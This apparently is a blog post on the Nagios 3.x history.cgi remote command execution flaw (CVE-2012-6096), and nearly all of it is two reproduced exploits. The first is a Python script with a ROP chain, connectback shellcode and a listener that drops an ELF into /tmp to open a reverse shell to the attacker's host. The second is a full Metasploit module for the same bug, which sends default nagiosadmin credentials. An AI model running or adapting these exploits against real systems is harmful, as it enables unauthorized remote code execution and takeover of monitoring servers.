Nagios 3.x history.cgi Remote Command Execution
Written by: J Dawg
Nagios is a powerful Open Source monitoring system that enables organizations to identify and resolve IT infrastructure problems before they affect critical business processes. It offers complete monitoring and alerting for servers, switches, applications, and services.
The Nagios backend has a program called history.cgi that as of late is said to allow an attacker remote access giving him/her system level access.
Generally, those of us who are administrators don’t normally allow our Nagios systems to be accessed by any and everyone on the internet. However, you can almost certainly bet that within your company, there are a few wanna be hackers who would love to test the exploits to gain access thus making you look stupid.
From my tests, I have not been able to exploit this and it is probably because the history.cgi was compiled with FORTIFY_SOURCE enabled. Your testing may vary.
The code below is to be used for educational purposes only!!!
Python Code:
#!/usr/bin/python # # CVE-2012-6096 - Nagios history.cgi Remote Command Execution # =========================================================== # Another year, another reincarnation of classic and trivial # bugs to exploit. This time we attack Nagios.. or more # specifically, one of its CGI scripts. [1] # # The Nagios code is an amazing monster. It reminds me a # lot of some of my early experiments in C, back when I # still had no clue what I was doing. (Ok, fair enough, # I still don't, heheh.) # # Ok, I'll come clean. This exploit doesn't exactly # defeat FORTIFY. This approach is likely to work just FINE # on other crippled distro's though, think of stuff like # ArchLinux, Slackware, and all those Gentoo kids twiddling # their CFLAGS. [2] (Oh and hey, BSD and stuff!) # # I do some very stupid shit(tm) here that might make an # exploit coder or two cringe. My sincere apologies for that. # # Cold beer goes out to my friends who are still practicing # this dying but interesting type of art: # # * brainsmoke * masc * iZsh * skier_ * steve * # # -- blasty <blasty@fail0verflow.com> / 2013-01-08 # # References: # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109 # [2] http://www.funroll-loops.info/ # # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n! # Next time you rebrand an exploit at least show some diligence and # add some additional targets or improvements, so we can all profit! # # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy! # import os, sys, socket, struct, urllib, threading, SocketServer, time from base64 import b64encode SocketServer.TCPServer.allow_reuse_address = True targets = [ { "name" : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)", "smash_len" : 0xc37, "unescape" : 0x0804b620, "popret" : 0x08048fe4, "hostbuf" : 0x080727a0, "system_plt" : 0x08048c7c } ] def u32h(v): return struct.pack("<L", v).encode('hex') def u32(v, hex = False): return struct.pack("<L", v) # Tiny ELF stub based on: # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html def make_elf(sc): elf_head = \ "7f454c46010101000000000000000000" + \ "02000300010000005480040834000000" + \ "00000000000000003400200001000000" + \ "00000000010000000000000000800408" + \ "00800408" + u32h(0x54+len(sc))*2 + \ "0500000000100000" return elf_head.decode("hex") + sc # interactive connectback listener class connectback_shell(SocketServer.BaseRequestHandler): def handle(self): print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0] print "[**] This shell is powered by insane amounts of illegal substances" s = self.request import termios, tty, select, os old_settings = termios.tcgetattr(0) try: tty.setcbreak(0) c = True os.write(s.fileno(), "id\nuname -a\n") while c: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 1024) if c: if i == 0: os.write(1, c) os.write(s.fileno() if i == 0 else 1, c) except KeyboardInterrupt: pass finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) return class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass if len(sys.argv) != 5: print "\n >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>" print " >> \"Jetzt geht's Nagi-los!\"\n" print " usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0]) print " targets:" i = 0 for target in targets: print " %02d) %s" % (i, target['name']) i = i+1 print "" sys.exit(-1) target_no = int(sys.argv[4]) if target_no < 0 or target_no > len(targets): print "Invalid target specified" sys.exit(-1) target = targets[ int(sys.argv[4]) ] # comment this shit if you want to setup your own listener server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() # shellcode to be executed # vanilla x86/linux connectback written by a dutch gentleman # close to a decade ago. cback = \ "31c031db31c951b10651b10151b10251" + \ "89e1b301b066cd8089c231c031c95151" + \ "68badc0ded6668b0efb102665189e7b3" + \ "1053575289e1b303b066cd8031c939c1" + \ "740631c0b001cd8031c0b03f89d3cd80" + \ "31c0b03f89d3b101cd8031c0b03f89d3" + \ "b102cd8031c031d250686e2f7368682f" + \ "2f626989e3505389e1b00bcd8031c0b0" + \ "01cd80" cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex")) cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex")) # Eww.. so there's some characters that dont survive the trip.. # yes, even with the unescape() call in our return-chain.. # initially I was going to use some /dev/tcp based connectback.. # but /dev/tcp isn't available/accesible everywhere, so instead # we drop an ELF into /tmp and execute that. The '>' characters # also doesn't survive the trip so we work around this by using # the tee(1) utility. # If your target has a /tmp that is mounted with noexec flag, # is severely firewalled or guarded by trained (watch)dogs.. # you might want to reconsider this approach! cmd = \ "rm -rf /tmp/x;" + \ "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \ "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;" # Spaces (0x20) are also a problem, they always ends up as '+' :-( # so apply some olde trick and rely on $IFS for argv separation cmd = cmd.replace(" ", "${IFS}") # Basic return-2-whatever/ROP chain. # We return into cgi_input_unescape() to get rid of # URL escaping in a static buffer we control, and then # we return into system@plt for the moneyshot. # # Ergo sum: # There's no memoryleak or whatever needed to leak libc # base and bypass ASLR.. This entire Nagios PoS is stringed # together by system() calls, so pretty much every single one # of their little silly binaries comes with a PLT entry for # system(), huzzah! rop = [ u32(target['unescape']), u32(target['popret']), u32(target['hostbuf']), u32(target['system_plt']), u32(0xdeafbabe), u32(target['hostbuf']) ] # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot # out of the box. Building HTTP requests from scratch is so 90ies.. params = urllib.urlencode({ 'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop) }) print "[>>] CL1Q .." f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params) print "[>>] CL4Q .." f.read() # TRIAL PERIOD ACTIVE, LOL! time.sleep(0x666) server.shutdown()
Metasploit Module:
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios3 history.cgi Host Command Execution', 'Description' => %q{ This module abuses a command injection vulnerability in the Nagios3 history.cgi script. }, 'Author' => [ 'Unknown <temp66@gmail.com>', # Original finding 'blasty <blasty@fail0verflow.com>', # First working exploit 'Jose Selvi <jselvi@pentester.es>', # Metasploit module 'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6096' ], [ 'OSVDB', '88322' ], [ 'BID', '56879' ], [ 'EDB', '24084' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ] ], 'Platform' => ['unix', 'linux'], 'Arch' => [ ARCH_X86 ], 'Privileged' => false, 'Payload' => { 'Space' => 200, # Due to a system() parameter length limitation 'BadChars' => '', # It'll be base64 encoded }, 'Targets' => [ [ 'Automatic Target', { 'auto' => true }], # NOTE: All addresses are from the history.cgi binary [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)', { 'BannerRE' => 'Apache/2.2.15 (CentOS)', 'VersionRE' => '3.4.1', 'Arch' => ARCH_X86, 'Offset' => 0xc43, 'RopStack' => [ 0x0804c260, # unescape_cgi_input() 0x08048f04, # pop, ret 0x08079b60, # buffer addr 0x08048bb0, # system() 0x08048e70, # exit() 0x08079b60 # buffer addr ] } ], [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', { 'BannerRE' => 'Apache/2.2.9 (Debian)', 'VersionRE' => '3.0.6', 'Arch' => ARCH_X86, 'Offset' => 0xc37, 'RopStack' => [ 0x0804b620, # unescape_cgi_input() 0x08048fe4, # pop, ret 0x080727a0, # buffer addr 0x08048c7c, # system() 0xdeafbabe, # if should be exit() but it's not 0x080727a0 # buffer addr ] } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 09 2012')) register_options( [ OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), ], self.class) end def detect_version(uri) # Send request res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, }, 10) # Error handling if res.nil? print_error("Unable to get a response from the server") return nil, nil end if(res.code == 401) print_error("Please specify correct values for USER and PASS") return nil, nil end if(res.code == 404) print_error("Please specify the correct path to history.cgi in the URI parameter") return nil, nil end # Extract banner from response banner = res.headers['Server'] # Extract version from body version = nil version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/) if not version_line.nil? version = version_line[0].match(/[0-9.]+/)[0] end # Check in an alert exists alert = res.body.match(/ALERT/) return version, banner, alert end def select_target(version, banner) # No banner and version, no target if banner.nil? or version.nil? return nil end # Get version information print_status("Web Server banner: #{banner}") print_status("Nagios version detected: #{version}") # Try regex for each target self.targets.each do |t| if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target next end regexp1 = Regexp.escape(t['BannerRE']) regexp2 = Regexp.escape(t['VersionRE']) if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then return t end end # If not detected, return nil return nil end def check print_status("Checking banner and version...") # Detect version banner, version, alert = detect_version(target_uri.path) # Select target mytarget = select_target(banner, version) if mytarget.nil? print_error("No matching target") return CheckCode::Unknown end if alert.nil? print_error("At least one ALERT is needed in order to exploit") return CheckCode::Detected end return CheckCode::Vulnerable end def exploit # Automatic Targeting mytarget = nil banner, version, alert = detect_version(target_uri.path) if (target['auto']) print_status("Automatically detecting the target...") mytarget = select_target(banner, version) if mytarget.nil? fail_with(Exploit::Failure::NoTarget, "No matching target") end else mytarget = target end print_status("Selected Target: #{mytarget.name}") if alert.nil? print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...") end print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") # Generate a payload ELF to execute elfbin = generate_payload_exe elfb64 = Rex::Text.encode_base64(elfbin) # Generate random filename tempfile = '/tmp/' + rand_text_alphanumeric(10) # Generate command-line execution if mytarget.name =~ /CentOS/ cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};" else cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}" end host_value = cmd.gsub!(' ', '${IFS}') # Generate 'host' parameter value padding_size = mytarget['Offset'] - host_value.length host_value << rand_text_alphanumeric( padding_size ) # Generate ROP host_value << mytarget['RopStack'].pack('V*') # Send exploit res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, 'vars_get' => { 'host' => host_value } }) if not res if session_created? print_status("Session created, enjoy!") else print_error("No response from the server") end return end if res.code == 401 fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS") end if res.code == 404 fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") end print_status("Unknown response #{res.code}") end end
Leave a Reply
You must be logged in to post a comment.